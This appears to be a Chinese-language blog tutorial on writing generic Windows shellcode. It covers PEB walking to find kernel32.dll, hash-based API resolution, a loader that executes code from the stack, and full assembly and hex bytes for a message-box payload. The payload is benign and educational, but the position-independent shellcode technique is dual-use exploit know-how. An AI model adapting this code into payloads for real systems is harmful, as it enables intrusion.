通用shellcode开发

通用shellcode开发

由于不同系统环境的动态链接库的加载基址是不同的,我们手工查出的API地址很大可能不总是有效。
在shellcode中使用静态函数地址来调用API会使得exploit的通用性受到很大限制。
所以,实际中使用的shellcode必须还能动态地获得自身所需要的API函数地址。

windows的API是通过动态链接库中的导出函数来实现的,例如,内存查操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。

所有win_32程序都会加载ntdll.dll和kernel32.dll这两个最基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址,可以采用如下方法。

  1. 通过段选择字段FS在内存中找到当前的线程环境块TEB
  2. 线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针
  3. 进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息
  4. PEB_LDR_DATA结构体偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitializationOrderModuleList
  5. 模块初始化链表InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点就是kernel32.dll
  6. 找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址
  7. 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头
  8. PE头偏移0x78的地方存放着指向函数导出表的指针
  9. 至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址
    • 导出表偏移0x1C处的指针指向存储导出函数偏移地址(RVA)的列表
    • 导出表偏移0x20处的指针指向存储导出函数函数名的列表
    • 函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA
    • 获得RVA后,再加上前边已经得到的动态链接库的加载基址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是我们最终在shellcode中调用时需要的地址

image

shellcode的加载与调试

shellcode通常以字符数组的形式保存,如下所示

char box_popup[]=
"\x66\x81\xEC\x40\x04" //  SUB SP,440
"\x33\xDB"  //  XOR EBX,EBX
"\x53"  //  PUSH EBX
"\x68\x77\x65\x73\x74" //  PUSH 74736577
"\x68\x66\x61\x69\x6C" //  PUSH 6C696166
"\x8B\xC4"  //  MOV EAX,ESP
"\x53"  //  PUSH EBX
"\x50"  //  PUSH EAX
"\x50"  //  PUSH EAX
"\x53"  //  PUSH EBX
"\xB8\xEA\x04\xD8\x77" //  MOV EAX,user32.MessageBoxA
"\xFF\xD0"  //  CALL EAX
"\x53"  //  PUSH EBX  ;/ExitCode
"\xB8\xDA\xCD\x81\x7C" //  MOV EAX,kernel32.ExitProcess
"\xFF\xD0";  //  CALL EAX  ;\ExitProcess

由于shellcode需要漏洞程序已经初始化好了的进程空间和资源等,故往往不能单独运行。为了能在实际运行中调试这样的机器码,我们可以使用如下代码来装载shellcode。

char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; //欲调试的十六进制机器码
void main()
{
      __asm
      {
            lea eax, shellcode
            push eax
            ret
      }
}

ret指令会将push进去的shellcode在栈中的起始地址弹给EIP,让处理器跳转到栈区去执行shellcode。我们可以用这段装载程序运行搜集到的shellcode,并调试之。若搜集到的shellcode不能满足需求,也可以在调试的基础上稍作修改,为它增加新功能。

动态定位API地址的shellcode

shellcode加入自动定位API的功能。为了实现弹出消息框并显示“failwest”的功能,需要使用如下API函数

  1. MessageBoxA 位于user32.dll中,用于弹出消息框
  2. ExitProcess 位于kernel32.dll中,用于正常退出程序
  3. LoadLibraryA 位于kernel32.dll中。并不是所有的程序都会装载user32.dll,所以在我们调用MessageBoxA之前,应该先使用LoadLibrary(“user32.dll”)装载其所属的动态链接库

通过前面介绍的win_32平台下搜索API地址的办法,我们可以从FS所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的API函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。

由于shellcode最终是要放进缓冲区的,为了让shellcode更加通用,能被大多数缓冲区容纳,我们总是希望shellcode尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。

通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。

本节实验中所用hash函数的C代码如下

#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
      DWORD digest=0;
      while(*fun_name)
      {
         digest=((digest<<25)|(digest>>7)); //循环右移7位
         digest+= *fun_name ;  //累加
         fun_name++;
      }
      return digest;
}
main()
{
      DWORD hash;
      hash= GetHash("AddAtomA");
      printf("result of hash is %.8x\n",hash);
}

我们将把字符串中的字符逐一取出,把ASCII码从单字节转换成四字节的双字(DWORD),循环右移7位之后再进行累积。

代码中只比较经过hash运算的函数名摘要,也就是说,不论API函数名多么长,我们只需要存一个双字就行。而上述hash算法只需要用ror和add两条指令就能实现。

API函数名hash后的摘要如下:
image

在将hash压入栈中之前,注意先将增量标志DF清零。因为当shellcode是利用异常处理机制而植入的时候,往往会产生标志位的变化,使shellcode中的字串处理方向发生变化而产生错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode的通用性。

最终汇编代码实现:

int main()
{
  _asm{
      CLD  ;clear flag DF
      ;store hash
      push 0x1e380a6a ;hash of MessageBoxA
      push 0x4fd18963 ;hash of ExitProcess
      push 0x0c917432 ;hash of LoadLibraryA
      mov esi,esp ;esi = addr of first function hash
      lea edi,[esi-0xc] ;edi = addr to start writing function
      ;make some stack space
      xor ebx,ebx
      mov bh, 0x04
      sub esp, ebx
      ;push a pointer to "user32" onto stack
      mov bx, 0x3233 ;rest of ebx is null
      push ebx
      push 0x72657375
      push esp
      xor edx,edx
      ;find base addr of kernel32.dll
      mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
      mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
      mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
      ;order list
      mov ecx, [ecx] ;ecx = second entry in list
      ;(kernel32.dll)
      mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
  find_lib_functions:
      lodsd  ;load next hash into al and increment esi cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
      ;LoadLibrary("user32")
      jne find_functions
      xchg eax, ebp  ;save current hash
      call [edi - 0x8] ;LoadLibraryA
      xchg eax, ebp  ;restore current hash, and update ebp
      ;with base address of user32.dll
  find_functions:
      pushad  ;preserve registers
      mov eax, [ebp + 0x3c] ;eax = start of PE header
      mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
      add ecx, ebp  ;ecx = absolute addr of export table
      mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
      add ebx, ebp  ;ebx = absolute addr of names table
      xor edi, edi  ;edi will count through the functions
  next_function_loop:
      inc edi  ;increment function counter
      mov esi, [ebx + edi * 4] ;esi = relative offset of current
      ;function name
      add esi, ebp  ;esi = absolute addr of current
      ;function name
      cdq  ;dl will hold hash (we know eax is
      ;small)
  hash_loop:
      movsx eax, byte ptr[esi]
      cmp al,ah
      jz compare_hash
      ror edx,7
      add edx,eax
      inc esi
      jmp hash_loop
  compare_hash:
      cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on;stack from pushad)
      jnz next_function_loop
      mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
      ;table
      add ebx, ebp  ;ebx = absolute addr of ordinals
      ;table
      mov di, [ebx + 2 * edi] ;di = ordinal number of matched
      ;function
      mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
      ;table
      add ebx, ebp  ;ebx = absolute addr of address table
      add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
      ;relative offset of matched function
      xchg eax, ebp  ;move func addr into eax
      pop edi  ;edi is last onto stack in pushad
      stosd
      ;write function addr to [edi] and
      ;increment edi
      push edi
      popad  ;restore registers;loop until we reach end of last hash
      cmp eax,0x1e380a6a
      jne find_lib_functions
  function_call:
      xor ebx,ebx
      push ebx ;cut string
      push 0x74736577
      push 0x6C696166 ;push failwest
      mov eax,esp ;load address of failwest
      push ebx
      push eax
      push eax
      push ebx
      call [edi - 0x04]  ;call MessageboxA
      push ebx
      call [edi - 0x08] ;call ExitProcess
      nop
      nop
      nop
      nop
  }
}

十六进制码:

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

void main()
{
	__asm
	{
		lea eax, popup_general
		push		eax
		ret
	}
}

posted @ 2022-11-02 17:46  略略略zjr  阅读(27)  评论(0)    收藏  举报